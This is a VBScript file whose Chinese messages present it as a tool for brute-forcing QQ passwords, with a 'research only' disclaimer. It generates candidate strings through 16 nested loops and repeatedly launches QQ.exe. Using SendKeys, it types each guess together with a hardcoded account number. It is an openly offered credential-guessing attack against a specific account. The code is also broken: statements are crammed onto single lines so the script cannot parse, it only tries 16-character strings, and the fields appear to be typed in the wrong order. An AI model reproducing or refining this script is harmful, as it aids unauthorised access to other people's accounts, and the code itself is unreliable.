qq.password.vbs

wscript.echo "暴力破解QQ密码的脚本"

wscript.echo "qq密码规则: 6-16个字符组成，但不能为9位以下的纯数字。 英文字符区分大小写."

wscript.echo "请确保启动前不运行查杀木马选项"

wscript.echo "本文只为技术研究用,若用于非法用途,后果自负."

wscript.echo "运行前请关闭其他程序,运行后也不要开其他程序,本程序可能发生100%的占用CPU."

wscript.echo "若你的计算机每秒运行100000000000次,大概最多需要40000000000000000000秒."

wscript.echo "不足之处,以后我会改进的,请多多关注."

wscript.echo "下面开始，你准备好了吗？"

On Error GoTo 0

a= chr (97) for x=97 to 121 a=a&chr(x+1) next

b=ucase(a)

n= chr (48) for x=48 to 56 n=n&chr(x+1) next

c=n&a&b

dim cipher(62)   for z=1 to 62 cipher(z-1)=mid(c,z,1) next

for z=1 to 62      s=cipher(z-1)

     for z1=1 to 62         s1=cipher(z1-1)&s

        for z2=1 to 62            s2=cipher(z2-1)&s1

           for z3=1 to 62               s3=cipher(z3-1)&s2

              for z4=1 to 62                           s4=cipher(z4-1)&s3

                 for z5=1 to 62                     s5=cipher(z5-1)&s4

                    for z6=1 to 62                        s6=cipher(z6-1)&s5

                       for z7=1 to 62                              s7=cipher(z7-1)&s6

                          for z8=1 to 62                              s8=cipher(z8-1)&s7

                             for z9=1 to 62                                          s9=cipher(z9-1)&s8

                                for z10=1 to 62                                    s10=cipher(z10-1)&s9   

                                     for z11=1 to 62                                       s11=cipher(z11-1)&s10

                                      for z12=1 to 62                                          s12=cipher(z12-1)&s11

                                         for z13=1 to 62                                               s13=cipher(z13-1)&s12

                                            for z14=1 to 62                                                s14=cipher(z14-1)&s13

                                               for z15=1 to 62                                                   s15=cipher(z15-1)&s14

dim program program="d:\Program Files\Tencent\qq\QQ.exe" set Wshell=CreateObject("Wscript.Shell") set oexec=Wshell.Exec(program) Wshell.AppActivate "QQ" Wshell.SendKeys s15 Wshell.SendKeys "{TAB}" Wshell.SendKeys "112426112" Wshell.SendKeys "{ENTER}" Wshell.SendKeys "{ENTER}"

                                               next

                                            next

                                         next

                                      next

                                   next

                                next

                             next

                          next  

                      next

                    next  

                next

              next

           next

        next

     next

next